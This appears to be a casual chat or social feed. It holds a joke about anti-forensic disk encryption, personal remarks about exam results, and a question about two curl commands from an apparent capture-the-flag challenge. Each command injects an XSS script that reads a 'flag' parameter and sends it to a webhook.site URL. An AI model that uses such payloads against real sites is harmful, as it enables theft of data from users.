Unless he put his dead man switch on a two-layer encrypted setup where the first layer is a VeraCrypt decoy OS generated with physical Diceware dice to stop bad RNG generation and the second layer is an invisible hidden volume buried in unallocated space to stop duress extortion, paired with pre-boot YubiKey authentication and tamper-evident chassis seals to block keyloggers and shoulder surfing, along with AMD TSME hardware RAM encryption and pre-boot memory-erase scripts to block cold boot RAM dumps, backed by a custom duress hook that fires a master-header nuke script to shred all decryption keys and overwrite the entire drive into pure mathematical noise the instant a honeypot password is entered, the FBI has zero chance to crack it in 24 hours.

But yeah by the way he looks, he definitely did that.

But not sure if this is really him, but his fat

.

Time to be alive with the shawarma.


@Tetstack

Let's do some challenges

What's the difference between

curl -X POST http://154.57.164.74:30316/report -H "Origin: http://localhost:30316" -H "x-carta-auth-key: <script>const f = new URLSearchParams(location.search).get('flag'); if(f) document.write(`<img src="https://webhook.site/455b1f28-34e2-464a-a6c6-b7c498ce1a6a?f=${f}">`);</script>" -d "path=whatever"

and

curl -X POST http://154.57.164.74:30316/report \
  -H "Origin: http://localhost:30316" \
  -H 'x-carta-auth-key: <script>const f = new URLSearchParams(location.search).get("flag"); if(f) document.write(`<img src="https://webhook.site/455b1f28-34e2-464a-a6c6-b7c498ce1a6a?f=${f}">`);</script>' \
  -d "path=whatever"

likr bruhhhh

JavaScript frying my brains out

Time for matric results

yeah maybe later

I passed

443.73

but I am sad about one thing

my fyda photo being used there

Not studying and scoring this was the greatest gamble.

@Tetstack